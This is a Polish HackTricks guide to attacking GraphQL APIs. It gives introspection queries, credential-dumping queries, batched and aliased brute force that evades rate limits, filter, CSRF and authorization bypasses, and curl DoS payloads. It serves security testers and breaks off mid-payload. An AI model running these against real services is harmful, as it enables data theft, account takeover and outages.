GraphQL

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Wprowadzenie

GraphQL jest wyróżniany jako wydajna alternatywa dla REST API, oferując uproszczone podejście do zapytań o dane z backendu. W przeciwieństwie do REST, który często wymaga wielu żądań do różnych punktów końcowych w celu zebrania danych, GraphQL umożliwia pobranie wszystkich potrzebnych informacji za pomocą jednego żądania. To uproszczenie znacząco korzysta dla programistów, zmniejszając złożoność ich procesów pobierania danych.

GraphQL i bezpieczeństwo

Wraz z pojawieniem się nowych technologii, w tym GraphQL, pojawiają się również nowe luki w zabezpieczeniach. Kluczowym punktem do zauważenia jest to, że GraphQL domyślnie nie zawiera mechanizmów uwierzytelniania. Odpowiedzialność za wdrożenie takich środków bezpieczeństwa spoczywa na programistach. Bez odpowiedniego uwierzytelnienia, punkty końcowe GraphQL mogą ujawniać wrażliwe informacje nieautoryzowanym użytkownikom, co stanowi istotne ryzyko bezpieczeństwa.

Ataki brute force na katalogi i GraphQL

Aby zidentyfikować wystawione instancje GraphQL, zaleca się uwzględnienie określonych ścieżek w atakach brute force na katalogi. Te ścieżki to:

• /graphql

• /graphiql

• /graphql.php

• /graphql/console

• /api

• /api/graphql

• /graphql/api

• /graphql/graphql

Identyfikacja otwartych instancji GraphQL pozwala na zbadanie wspieranych zapytań. To jest kluczowe dla zrozumienia danych dostępnych przez punkt końcowy. System introspekcji GraphQL ułatwia to, szczegółowo opisując zapytania, które wspiera schemat. Aby uzyskać więcej informacji na ten temat, zapoznaj się z dokumentacją GraphQL na temat introspekcji: GraphQL: Język zapytań dla API.

Odcisk

Narzędzie graphw00f jest w stanie wykryć, który silnik GraphQL jest używany na serwerze, a następnie wydrukować przydatne informacje dla audytora bezpieczeństwa.

Zapytania uniwersalne

Aby sprawdzić, czy URL jest usługą GraphQL, można wysłać zapytanie uniwersalne, query{__typename}. Jeśli odpowiedź zawiera {"data": {"__typename": "Query"}}, potwierdza to, że URL hostuje punkt końcowy GraphQL. Ta metoda opiera się na polu __typename GraphQL, które ujawnia typ zapytanego obiektu.

query{__typename}

Podstawowa Enumeracja

Graphql zazwyczaj obsługuje GET, POST (x-www-form-urlencoded) i POST(json). Chociaż dla bezpieczeństwa zaleca się zezwolenie tylko na json, aby zapobiec atakom CSRF.

Introspekcja

Aby użyć introspekcji do odkrycia informacji o schemacie, zapytaj pole __schema. To pole jest dostępne w typie głównym wszystkich zapytań.

query={__schema{types{name,fields{name}}}}

Za pomocą tego zapytania znajdziesz nazwy wszystkich używanych typów:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Dzięki temu zapytaniu możesz wyodrębnić wszystkie typy, ich pola i argumenty (oraz typ argumentów). Będzie to bardzo przydatne, aby wiedzieć, jak zapytać bazę danych.

Błędy

Interesujące jest, czy błędy będą pokazywane, ponieważ przyczynią się do użytecznej informacji.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumeruj schemat bazy danych za pomocą introspekcji

Jeśli introspekcja jest włączona, ale powyższe zapytanie nie działa, spróbuj usunąć dyrektywy onOperation, onFragment i onField z struktury zapytania.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Zapytanie introspekcyjne inline:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Ostatnia linia kodu to zapytanie graphql, które wyświetli wszystkie metainformacje z graphql (nazwy obiektów, parametry, typy...)

Jeśli introspekcja jest włączona, możesz użyć GraphQL Voyager, aby zobaczyć w GUI wszystkie opcje.

Zapytania

Teraz, gdy wiemy, jakie informacje są zapisane w bazie danych, spróbujmy wyodrębnić kilka wartości.

W introspekcji możesz znaleźć który obiekt możesz bezpośrednio zapytać (ponieważ nie możesz zapytać obiektu tylko dlatego, że istnieje). Na poniższym obrazku możesz zobaczyć, że "queryType" nazywa się "Query", a jednym z pól obiektu "Query" jest "flags", który jest również typem obiektu. Dlatego możesz zapytać obiekt flagi.

Zauważ, że typ zapytania "flags" to "Flags", a ten obiekt jest zdefiniowany jak poniżej:

Możesz zobaczyć, że obiekty "Flags" składają się z name i value. Następnie możesz uzyskać wszystkie nazwy i wartości flag za pomocą zapytania:

query={flags{name, value}}

Zauważ, że w przypadku gdy obiekt do zapytania jest prymitywnym typem takim jak string, jak w poniższym przykładzie

Możesz po prostu zapytać o to za pomocą:

query={hiddenFlags}

W innym przykładzie, gdzie znajdowały się 2 obiekty wewnątrz obiektu typu "Query": "user" i "users". Jeśli te obiekty nie potrzebują żadnych argumentów do wyszukiwania, można pobierać wszystkie informacje z nich po prostu prosząc o dane, które chcesz. W tym przykładzie z Internetu można było wyodrębnić zapisane nazwy użytkowników i hasła:

Jednak w tym przykładzie, jeśli spróbujesz to zrobić, otrzymasz ten błąd:

Wygląda na to, że w jakiś sposób będzie szukać używając argumentu "uid" typu Int. Tak czy inaczej, już wiedzieliśmy, że w sekcji Basic Enumeration zaproponowano zapytanie, które pokazywało nam wszystkie potrzebne informacje: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Jeśli przeczytasz obrazek dostarczony, gdy uruchomiłem to zapytanie, zobaczysz, że "user" miał arg "uid" typu Int.

Więc, wykonując lekką uid bruteforce, odkryłem, że w uid=1 odzyskano nazwę użytkownika i hasło: query={user(uid:1){user,password}}

Zauważ, że odkryłem, że mogę prosić o parametry "user" i "password", ponieważ jeśli spróbuję szukać czegoś, co nie istnieje (query={user(uid:1){noExists}}), otrzymam ten błąd:

A podczas fazy enumeracji odkryłem, że obiekt "dbuser" miał jako pola "user" i "password.

Sztuczka z zrzutem ciągu zapytania (dzięki @BinaryShadow_)

Jeśli możesz wyszukiwać według typu ciągu, jak: query={theusers(description: ""){username,password}} i szukasz pustego ciągu, to zrzuci wszystkie dane. (Zauważ, że ten przykład nie jest związany z przykładem z samouczków, w tym przykładzie załóż, że możesz wyszukiwać używając "theusers" według pola typu "description").

Wyszukiwanie

W tej konfiguracji, baza danych zawiera osoby i filmy. Osoby są identyfikowane przez swój email i imię; filmy przez swoją nazwę i ocenę. Osoby mogą być przyjaciółmi i również mieć filmy, co wskazuje na relacje w bazie danych.

Możesz szukać osób po imię i uzyskać ich emaile:

{
searchPerson(name: "John Doe") {
email
}
}

Możesz szukać osób po nazwie i uzyskać ich subskrybowane filmy:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Zauważ, jak wskazano, aby pobrać name subscribedMovies danej osoby.

Możesz również wyszukiwać kilka obiektów jednocześnie. W tym przypadku wyszukiwane są 2 filmy:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Lub nawet relacje kilku różnych obiektów za pomocą aliasów:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutacje

Mutacje są używane do wprowadzania zmian po stronie serwera.

W introspekcji można znaleźć zadeklarowane mutacje. Na poniższym obrazku "MutationType" nazywa się "Mutation", a obiekt "Mutation" zawiera nazwy mutacji (jak "addPerson" w tym przypadku):

W tej konfiguracji baza danych zawiera osoby i filmy. Osoby są identyfikowane po swoim emailu i imieniu; filmy po swoim tytule i ocenie. Osoby mogą być przyjaciółmi i również mieć filmy, co wskazuje na relacje w bazie danych.

Mutacja do tworzenia nowych filmów w bazie danych może wyglądać jak poniższa (w tym przykładzie mutacja nazywa się addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Zauważ, jak zarówno wartości, jak i typ danych są wskazane w zapytaniu.

Dodatkowo, baza danych obsługuje operację mutacji, nazwaną addPerson, która umożliwia tworzenie osób wraz z ich powiązaniami z istniejącymi przyjaciółmi i filmami. Ważne jest, aby zauważyć, że przyjaciele i filmy muszą istnieć w bazie danych przed powiązaniem ich z nowo utworzoną osobą.

mutation {
addPerson(name: "James Yoe", email: "[e-mail]", friends: [{name: "John Doe"}, {email: "[e-mail]"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Przeciążanie dyrektyw

Jak wyjaśniono w jednej z luk opisanych w tym raporcie, przeciążanie dyrektyw polega na wywoływaniu dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie DoS.

Grupowanie brute-force w 1 żądaniu API

Te informacje zostały zaczerpnięte z https://lab.wallarm.com/graphql-batching-attack/. Uwierzytelnianie przez GraphQL API z jednoczesnym wysyłaniem wielu zapytań z różnymi poświadczeniami w celu ich sprawdzenia. To klasyczny atak brute force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło na żądanie HTTP dzięki funkcji grupowania GraphQL. To podejście oszukuje zewnętrzne aplikacje monitorujące stawki, sprawiając, że myślą, że wszystko jest w porządku i nie ma bota próbującego zgadnąć hasła.

Poniżej znajduje się najprostsza demonstracja żądania uwierzytelnienia aplikacji, z 3 różnymi parami e-mail/hasło jednocześnie. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:

Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły null i odzwierciedliły odpowiednie informacje w sekcji error. Drugie mutacja miała poprawne dane uwierzytelniające i odpowiedź zawiera poprawny token sesji uwierzytelniającej.

GraphQL bez introspekcji

Coraz więcej punktów końcowych graphql wyłącza introspekcję. Jednak błędy, które graphql zgłasza, gdy otrzymuje nieoczekiwane żądanie, są wystarczające dla narzędzi takich jak clairvoyance, aby odtworzyć większość schematu.

Ponadto rozszerzenie Burp Suite GraphQuail obserwuje żądania GraphQL API przechodzące przez Burp i buduje wewnętrzny schemat GraphQL z każdym nowym zapytaniem, które widzi. Może również ujawniać schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w API. Więcej informacji sprawdź to.

Ładna lista słów do odkrywania jednostek GraphQL można znaleźć tutaj.

Obejście obrony introspekcji GraphQL

Aby obejść ograniczenia dotyczące zapytań introspekcyjnych w API, wstawienie specjalnego znaku po słowie kluczowym __schema okazuje się skuteczne. Ta metoda wykorzystuje powszechne niedopatrzenia programistów w wzorcach regex, które mają na celu zablokowanie introspekcji, koncentrując się na słowie kluczowym __schema. Dodając znaki takie jak spacje, nowe linie i przecinki, które GraphQL ignoruje, ale mogą nie być uwzględnione w regex, można obejść ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po __schema może obejść takie obrony:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

If unsuccessful, consider alternative request methods, such as GET requests or POST with x-www-form-urlencoded, since restrictions may apply only to POST requests.

Spróbuj WebSocketów

As mentioned in this talk, check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

Odkrywanie Ujawnionych Struktur GraphQL

Gdy introspekcja jest wyłączona, badanie kodu źródłowego strony internetowej w poszukiwaniu wstępnie załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, korzystając z zakładki Sources w narzędziach deweloperskich, co daje wgląd w schemat API i ujawnia potencjalnie ujawnione wrażliwe zapytania. Polecenia do wyszukiwania w narzędziach deweloperskich to:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF w GraphQL

Jeśli nie wiesz, czym jest CSRF, przeczytaj następującą stronę:

CSRF (Cross Site Request Forgery)

Możesz znaleźć kilka punktów końcowych GraphQL skonfigurowanych bez tokenów CSRF.

Zauważ, że żądania GraphQL są zazwyczaj wysyłane za pomocą żądań POST z użyciem nagłówka Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Jednak większość punktów końcowych GraphQL obsługuje również form-urlencoded żądania POST:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Zatem, ponieważ żądania CSRF, takie jak poprzednie, są wysyłane bez żądań wstępnych, możliwe jest wprowadzenie zmian w GraphQL, wykorzystując CSRF.

Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi samesite w Chrome to Lax. Oznacza to, że ciasteczko będzie wysyłane tylko z zewnętrznej strony w żądaniach GET.

Należy pamiętać, że zazwyczaj możliwe jest również wysłanie żądania zapytania jako żądania GET, a token CSRF może nie być weryfikowany w żądaniu GET.

Ponadto, wykorzystując atak XS-Search, może być możliwe wykradzenie treści z punktu końcowego GraphQL, wykorzystując dane uwierzytelniające użytkownika.

Aby uzyskać więcej informacji, sprawdź oryginalny post tutaj.

Przechwytywanie WebSocket między witrynami w GraphQL

Podobnie jak w przypadku luk CRSF, wykorzystując GraphQL, możliwe jest również przeprowadzenie przechwytywania WebSocket między witrynami, aby wykorzystać uwierzytelnienie w GraphQL z niechronionymi ciasteczkami i zmusić użytkownika do wykonania nieoczekiwanych działań w GraphQL.

Aby uzyskać więcej informacji, sprawdź:

WebSocket Attacks

Autoryzacja w GraphQL

Wiele funkcji GraphQL zdefiniowanych na punkcie końcowym może sprawdzać tylko uwierzytelnienie żądającego, ale nie autoryzację.

Modyfikacja zmiennych wejściowych zapytania może prowadzić do ujawnienia wrażliwych danych konta leak.

Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dane innego konta.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Ominięcie autoryzacji w GraphQL

Łączenie zapytań może obejść słaby system autoryzacji.

W poniższym przykładzie widać, że operacja to "forgotPassword" i powinna ona wykonywać tylko zapytanie forgotPassword z nią związane. Można to obejść, dodając zapytanie na końcu, w tym przypadku dodajemy "register" oraz zmienną użytkownika, aby system zarejestrował się jako nowy użytkownik.

Ominięcie limitów szybkości przy użyciu aliasów w GraphQL

W GraphQL aliasy to potężna funkcja, która pozwala na jawne nazywanie właściwości podczas wykonywania żądania API. Ta możliwość jest szczególnie przydatna do pobierania wielu instancji tego samego typu obiektu w jednym żądaniu. Aliasy mogą być używane do pokonywania ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.

Aby dokładnie zrozumieć aliasy GraphQL, zaleca się następujące źródło: Aliases.

Chociaż głównym celem aliasów jest zmniejszenie potrzeby wielu wywołań API, zidentyfikowano niezamierzony przypadek użycia, w którym aliasy mogą być wykorzystywane do przeprowadzania ataków brute force na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez ograniczniki szybkości zaprojektowane w celu powstrzymania ataków brute force poprzez ograniczenie liczby żądań HTTP. Jednak te ograniczniki szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Biorąc pod uwagę, że aliasy pozwalają na dołączenie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające.

Rozważ przykład podany poniżej, który ilustruje, jak zapytania z aliasami mogą być używane do weryfikacji ważności kodów rabatowych sklepu. Ta metoda może ominąć ograniczenia szybkości, ponieważ kompiluje kilka zapytań w jedno żądanie HTTP, potencjalnie umożliwiając jednoczesną weryfikację wielu kodów rabatowych.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS w GraphQL

Przeciążenie aliasów

Przeciążenie aliasów to luka w GraphQL, w której atakujący przeciążają zapytanie wieloma aliasami dla tego samego pola, co powoduje, że resolver backendu wykonuje to pole wielokrotnie. Może to przeciążyć zasoby serwera, prowadząc do Denial of Service (DoS). Na przykład, w poniższym zapytaniu to samo pole (expensiveField) jest żądane 1,000 razy przy użyciu aliasów, zmuszając backend do obliczenia go 1,000 razy, co potencjalnie wyczerpuje CPU lub pamięć:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Aby to złagodzić, wdroż ograniczenia liczby aliasów, analizę złożoności zapytań lub ograniczenia szybkości, aby zapobiec nadużywaniu zasobów.

Batched Query oparte na tablicach

Batched Query oparte na tablicach to luka, w której API GraphQL pozwala na grupowanie wielu zapytań w jednym żądaniu, co umożliwia atakującemu wysłanie dużej liczby zapytań jednocześnie. Może to przytłoczyć backend, wykonując wszystkie zgrupowane zapytania równolegle, co prowadzi do nadmiernego zużycia zasobów (CPU, pamięć, połączenia z bazą danych) i potencjalnie prowadzi do Denial of Service (DoS). Jeśli nie ma ograniczenia liczby zapytań w partii, atakujący może to wykorzystać do pogorszenia dostępności usługi.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

W tym przykładzie 10 różnych zapytań jest grupowanych w jeden żądanie, zmuszając serwer do jednoczesnego wykonania wszystkich z nich. Jeśli zostanie to wykorzystane z większym rozmiarem partii lub kosztownymi obliczeniowo zapytaniami, może przeciążyć serwer.

Wrażliwość na Przeciążenie Dyrektyw

Przeciążenie Dyrektyw występuje, gdy serwer GraphQL zezwala na zapytania z nadmiernymi, powielonymi dyrektywami. Może to przytłoczyć parser i wykonawcę serwera, szczególnie jeśli serwer wielokrotnie przetwarza tę samą logikę dyrektywy. Bez odpowiedniej walidacji lub ograniczeń, atakujący może to wykorzystać, tworząc zapytanie z licznymi powielonymi dyrektywami, aby wywołać wysokie zużycie obliczeniowe lub pamięci, prowadząc do Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

Zauważ, że w poprzednim przykładzie @aa jest niestandardową dyrektywą, która może nie być zadeklarowana. Powszechną dyrektywą, która zazwyczaj istnieje, jest @include:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

Możesz również wysłać zapytanie introspekcyjne, aby odkryć wszystkie zadeklarowane dyrektywy:

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

I następnie użyj niektórych z niestandardowych.

Wrażliwość na duplikację pól

Duplikacja pól to wrażliwość, w której serwer GraphQL zezwala na zapytania z tym samym polem powtarzanym nadmiernie. Zmusza to serwer do wielokrotnego rozwiązywania pola dla każdej instancji, co zużywa znaczące zasoby (CPU, pamięć i wywołania bazy danych). Atakujący może stworzyć zapytania z setkami lub tysiącami powtórzonych pól, powodując duże obciążenie i potencjalnie prowadząc do Denial of Service (DoS).

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 